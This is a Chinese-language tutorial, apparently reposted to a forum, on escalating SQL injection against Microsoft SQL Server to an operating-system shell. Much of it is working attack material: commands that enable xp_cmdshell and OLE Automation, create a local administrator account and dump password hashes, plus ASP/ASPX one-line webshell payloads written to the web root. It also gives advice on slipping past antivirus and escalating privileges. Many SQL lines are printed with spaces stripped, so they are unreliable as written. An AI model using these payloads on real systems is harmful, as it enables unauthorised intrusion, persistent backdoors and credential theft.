1 sql server執(zhí)行os-shell
條件:數(shù)據(jù)庫權限必須是dba權限可利用sql-shll進行命令執(zhí)行,部分常用ql語句:
查看版本:SELECT @@version 查看連接用戶: SELECTORIGINAL_LOGIN(),APP_NAME(),CONNECTIONPROPERTY('CLIENT_NET_ADDRESS'),CONNECTIONPROPERTY('PROTOCOL_TYPE') 查詢所有數(shù)據(jù)庫名稱 selectnamefrommaster.dbo.sysdatabases; 查看用戶hash: selectname,sys.fn_varbintohexstr(password_hash)fromsys.sql_logins 查看數(shù)據(jù)庫賬號密碼: selectname,sys.fn_varbintohexstr(password_hash)frommaster.sys.sql_logins; 查看數(shù)據(jù)庫中表名: SELECTSysObjects.nameASTablenameFROMsysobjectsWHERExtype='U'andsysstat<200 exec?xp_dirtree?'c:'????????#?列出所有c:文件、目錄、子目錄exec?xp_dirtree?'c:',1??????#?只列c:目錄 exec?xp_dirtree?'c:',1,1????#?列c:目錄、文件 exec?xp_subdirs?'C:';???????#?只列c:目錄 select?is_srvrolemember('sysadmin')?#?判斷是否是SA權限 select?is_member('db_owner')????????#?判斷是否是db_owner權限 select?is_srvrolemember('public')???#?判斷是否是public權限 創(chuàng)建用戶: exec?master..xp_cmdshell?"net?user?test12?123.com?add" exec?master..xp_cmdshell?"net?localgroup?administrators?test12?add" exec?master..xp_cmdshell?"net?user?test12" 讀取文檔內(nèi)容 create?table?files(line?varchar(1024)) bulk?insert??files?from?'C:inetpubaa.asp' select?*?from?files
默認新建的用戶只有public權限, sqlserver數(shù)據(jù)庫進行os-shell執(zhí)行,主要是利用開啟xp_cmdshell進行命令執(zhí)行,通過命令執(zhí)行查看,返回結果為1,說明是存在xp_cmdshell,該命令只能證明是否存在xp_cmdshell,并不能證明可執(zhí)行xp_cmdshell
selectcount(*)frommaster.dbo.sysobjectswherextype='x'andname='xp_cmdshell'

1.1針對sqlserver2008測試
1.1 當前用戶不是dba
在當前用戶不為dba情況,利用sqlmap執(zhí)行os-shell,提示如下:
非dba權限的用戶即使在開啟xpcmdshell的情況下也無法進行命令執(zhí)行,提示沒有權限:
dba權限在未開啟cmdshell情況下執(zhí)行命令提示如下:當非dba權限嘗試開啟cmdshell時提示沒有該操作權限:
所以這就是為什么在我們發(fā)現(xiàn)sql注入的時候,如果當前用戶不是dba權限的情況下無法進行命令執(zhí)行。
1.2 當前用戶為dba
在進行注入時,如果當前用戶為dba,可嘗試利用如下命令手動開啟xpcmd_shell
EXECsp_configure'showadvancedoptions',1; RECONFIGURE; EXECsp_configure'xp_cmdshell',1; RECONFIGURE;
接下來分析下sqlmap如何去檢測和開啟xp_cmdshell,通過抓取數(shù)據(jù)包發(fā)現(xiàn),開啟cmdshell命令如下:
;EXECmaster..sp_configure'SHOWadvancedoptions',1;RECONFIGUREWITHOVERRIDE;EXECmaster..sp_configure'xp_cmdshell',1;RECONFIGUREWITHOVERRIDE;EXECmaster..sp_configure'SHOWadvancedoptions',0;RECONFIGUREWITHOVERRIDE--
當嘗試利用os-shell無法開啟時,可嘗試利用sql-shell開啟,xpcmd_shell,本次在測試時發(fā)現(xiàn),直接在sql-shell中執(zhí)行上述4條開啟的語句無法開啟成功,可嘗試拼接sql語句進行開啟
selectcount(*)frommaster.dbo.sysobjectswherextype='x'andname='xp_cmdshell';EXECmaster..sp_configure'SHOWadvancedoptions',1;RECONFIGUREWITHOVERRIDE;EXECmaster..sp_configure'xp_cmdshell',1;RECONFIGUREWITHOVERRIDE;EXECmaster..sp_configure'SHOWadvancedoptions',0;RECONFIGUREWITHOVERRIDE--查詢語句為查看xpcmd_shell組件的命令,執(zhí)行語句后返回結果1,即為查詢成功:
判斷是否存在站庫分離:
selecthost_name();//主機名 select@@servername;//服務器名 //如果相同則代表數(shù)據(jù)庫和web在同一臺機器上面執(zhí)行后發(fā)現(xiàn)返回的服務器名稱相同,可見未進行站庫分離,如下圖:
即使主機上安裝有360等安全設備,執(zhí)行該命令后,也可以將xpcmd_shell組件開啟,通過測試發(fā)現(xiàn),主機上殺毒軟件攔截只有在調(diào)用xpcmd_shell進行命令執(zhí)行時才會進行攔截
1.3 xpcmd_shell為什么無法執(zhí)行命令
在沒有防護的情況下,可利用sqlmap正常開啟xpcmd_shell進行命令執(zhí)行,但是很多情況下會發(fā)現(xiàn) 無法進行命令執(zhí)行,sqlmap提示如下:
此時可能原因是對服務器上安裝有安全軟件,本次測試在測試環(huán)境中安全了360安全軟件,可在調(diào)用xpcmd_shell組件時,被安全軟件攔截
思路一:如果在已知sqlserver賬戶密碼的情況下,利用navicat連接數(shù)據(jù)庫進行手動寫入shell:開啟sp_OACreate組件
EXECsp_configure'showadvancedoptions',1; RECONFIGUREWITHOVERRIDE; EXECsp_configure'OleAutomationProcedures',1;RECONFIGUREWITHOVERRIDE; EXECsp_configure'showadvancedoptions',0;
利用文件存儲先寫入文件:
declare@oint,@fint,@tint,@retint execsp_oacreate'scripting.filesystemobject',@oout execsp_oamethod@o,'createtextfile',@fout,'c:inetpubaa.asp',1 exec@ret=sp_oamethod@f,'writeline',NULL,'<%execute(request("a"))%>'

可成功在c盤inetpub路徑下寫入aa.asp文件,shell的寫入路徑可利用execute master..xp_dirtree命令進行查找
executemaster..xp_dirtree'c:/inetpub/test/',1,1
利用上述方法的前提是在已經(jīng)知道sqlsever數(shù)據(jù)庫的的管理賬號密碼,可利用--passwords 參數(shù)查看。思路二:假如未能成功登錄,可先通過查看網(wǎng)站路徑,在寫入shell方式,步驟如下:1、新建tmp表格,并將master..xp_dirtree的存儲結果保存到表格中,命令如下:
CREATETABLEtmp(dirvarchar(8000),numint,num1int);insertintotmp(dir,num,num1)executemaster..xp_dirtree'c:',1,1;可在sql-shell中執(zhí)行,執(zhí)行效果如下:

也可通過注入點直接執(zhí)行,執(zhí)行效果如下:

直接在sql-shell中執(zhí)行命令查看結果:select * from test.tmp

可發(fā)現(xiàn)存在inetpub目錄,接著在查看改目錄下文件,為了防止目錄過多,可嘗試刪除之前tmp在重新表格,存儲新目錄下的數(shù)據(jù),刪除表格直接執(zhí)行drop table tmp,可在利用select 查詢重新確定下是否刪除成功。新建表格命令如下:
CREATETABLEtmp(dirvarchar(8000),numint,num1int);insertintotmp(dir,num,num1)executemaster..xp_dirtree'c:/inetpub/',1,1;

在用select命令進行查看,

利用該方法慢慢找到網(wǎng)站的路徑,可能就是比較慢,通過測試發(fā)現(xiàn)該種方法是不會被主機上的殺軟攔截的。找到根目錄后用Scripting.FileSystemObject中CreateTextFile和WriteLine來實現(xiàn)寫入webshell,sql-shell執(zhí)行命令如下,前提時先開啟sp_OACreate,開啟腳本如下:
EXECsp_configure'showadvancedoptions',1;RECONFIGUREWITHOVERRIDE;EXECsp_configure'OleAutomationProcedures',1;RECONFIGUREWITHOVERRIDE;EXECsp_configure'showadvancedoptions',0;
寫入shell腳本:
declare@fint,@gint;execsp_oacreate'Scripting.FileSystemObject',@foutput;EXECSP_OAMETHOD@f,'CreateTextFile',@fOUTPUT,'c:inetpub est est.aspx',1;EXECsp_oamethod@f,'WriteLine',null,'<%@?Page?Language="Jscript"%><%var?a?=?"un";var?b?=?"safe";Response.Write(eval(Request.Item["z"],a%2Bb));%>'可成功寫入一句話木馬,如下圖:

利用蟻劍可成功連接shell

只是此時權限較低,是iis權限需要進行進一步提權。在進行提權時系統(tǒng)安裝360可能不能成功,此時可嘗試低權限上線cs,然后利用cs提權,需要進行360繞過,也可采用sqlserver的sqlps.exe文件進行命令執(zhí)行,不管時利用哪種方式,此時考察的就是免殺能力了。
1.2 sqlserver 2012測試
之前驗證了sqlserver 2008如何通過sql注入獲取系統(tǒng)shell,主要是通過調(diào)用xpcmd_shell,但是當服務器上存在殺毒軟件時無法進行開啟,此時可嘗試sql-shell,尋找網(wǎng)站目錄,然后寫入一句話木馬的方式,只是寫入的shell權限比較低,接下來嘗試利用sqlserver2012進行測試。
1.2.1 無殺軟執(zhí)行xpcmd_shell
sqlserver2012默認cpcmd_shell也是關閉的,當服務器主機不存在殺軟時,可直接執(zhí)行os-shell,進行命令執(zhí)行。
此時可通過執(zhí)行pwershell直接上線cs,但是此時上線的權限為sqlserver,可通過ms16-075進行提權到system,然后在進行后滲透即可,在不存在殺軟的情況下相對比較順利,接下來看下如何繞過殺軟上傳shell。
1.2.2繞過殺軟上傳shell
主機上安裝360,直接通過sqlmap執(zhí)行os-shell會被攔截,嘗試sql-shell進行命令執(zhí)行,步驟和2008大致基本相同,先通過xp_dirtree慢慢找到網(wǎng)站路徑,在開啟sp_OACreate,最后寫入shell。
declare@oint,@fint,@tint,@retint;execsp_oacreate'scripting.filesystemobject',@oout;execsp_oamethod@o,'createtextfile',@fout,'e: est123.asp',1;exec@ret=sp_oamethod@f,'writeline',NULL,'<%@?Page?Language="Jscript"%><%var?a?=?"un";var?b?=?"safe";Response.Write(eval(Request.Item["z"],a%2Bb));%>'
可嘗試利用判斷是否寫入成功
create table sssss (line varchar(1024));bulk insert sssss from 'e: est123.asp';select * from sssss


審核編輯:湯梓紅
-
SQL
+關注
關注
1文章
780瀏覽量
44800 -
Server
+關注
關注
0文章
94瀏覽量
24527 -
數(shù)據(jù)庫
+關注
關注
7文章
3900瀏覽量
65753 -
Shell
+關注
關注
1文章
371瀏覽量
23958
原文標題:1 sql server執(zhí)行os-shell
文章出處:【微信號:Tide安全團隊,微信公眾號:Tide安全團隊】歡迎添加關注!文章轉載請注明出處。
發(fā)布評論請先 登錄
labview連接SQL server方法
SQL Server精華(CHM)
SQL Server 2000菜鳥入門
數(shù)據(jù)庫與SQL Server 2005教程
Windows SQL Server 安全檢查列表
數(shù)據(jù)庫教程之SQL SERVER環(huán)境的詳細資料說明
SQL Server 2005數(shù)據(jù)庫的應用手冊

SQL的max server memory參數(shù)應該如何設置
LABVIEW與SQL SERVER的連接方法詳細說明

評論